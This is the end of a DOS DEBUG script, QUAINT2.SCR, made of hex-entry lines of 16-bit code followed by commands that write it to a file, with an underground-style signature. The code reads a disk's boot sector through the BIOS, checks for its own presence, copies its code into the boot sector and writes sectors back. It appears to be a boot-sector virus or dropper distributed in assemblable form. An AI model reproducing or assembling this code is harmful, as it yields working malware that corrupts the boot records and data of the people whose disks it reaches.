E 0850 74 08 3C 62 74 04 3C 78 75 E2 50 BB 30 08 88 07
E 0860 89 DA B4 09 CD 21 58 3C 78 75 0C BA 95 06 B4 09
E 0870 CD 21 B8 FF 4C CD 21 3C 61 74 04 FE 06 24 08 BD
E 0880 03 00 BB 73 09 B9 01 00 BA 00 00 B8 01 02 CD 13
E 0890 73 13 B4 00 CD 13 4D 75 F2 BA BD 06 B4 09 CD 21
E 08A0 B8 02 4C CD 21 81 3F EB 3E 75 2B 8D 7F 40 BE 03
E 08B0 01 B9 7C 01 FC F3 A6 74 11 FE 06 D1 07 8D 7F 40
E 08C0 BE 7F 02 B9 7C 01 F3 A6 75 0C BA A8 07 B4 09 CD
E 08D0 21 B8 01 4C CD 21 8A 47 15 24 F0 3C F0 74 0C BA
E 08E0 67 07 B4 09 CD 21 B8 03 4C CD 21 8A 47 10 98 F7
E 08F0 67 16 03 47 0E 92 8B 47 11 48 B1 04 D3 E8 01 D0
E 0900 99 F7 77 18 8A CA 99 F7 77 1A 41 88 C5 88 D6 B2
E 0910 00 BD 03 00 B8 01 03 CD 13 73 13 B4 00 CD 13 4D
E 0920 75 F2 BA F0 06 B4 09 CD 21 B8 04 4C CD 21 8D 7F
E 0930 40 C7 07 EB 3E BE 03 01 80 3E 24 08 41 74 03 BE
E 0940 7F 02 B9 7C 01 F3 A4 8B D1 41 BD 03 00 B8 01 03
E 0950 CD 13 73 13 B4 00 CD 13 4D 75 F2 BA 2E 07 B4 09
E 0960 CD 21 B8 05 4C CD 21 BA F3 07 B4 09 CD 21 B8 00
E 0970 4C CD 21
RCX
0873
W
Q
ÄÄ QUAINT2.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
-=<HF3>=-